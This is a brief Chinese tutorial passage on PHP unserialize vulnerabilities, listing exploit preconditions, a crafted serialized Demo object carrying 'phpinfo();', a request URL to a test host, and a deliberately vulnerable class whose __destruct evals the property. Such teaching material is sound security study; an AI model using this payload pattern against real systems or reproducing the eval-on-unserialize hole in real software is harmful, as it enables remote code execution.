ThinkChat🤖让你学习和工作更高效,注册即送10W Token,即刻开启你的AI之旅 广告
必要条件: * 1.unserialize 函数的参数可控 * 2.脚本中存在一个构造函数、析构函数、__wakeup()函数中 有类 * 3.对象中的成员变量的值 反序列化的变量会覆盖类中变量的值 先拿到序列化的值 ``` class Demo{ public $test="phpinfo();"; } $class=new Demo(); echo serialize($class); ``` ``` O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";} ``` 访问`http://www.test.com/audit/test.php?code=O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}` ``` class Demo{ public $test="hello"; public function __destruct(){ eval($this->test) } } unserialize($_GET['code']); ```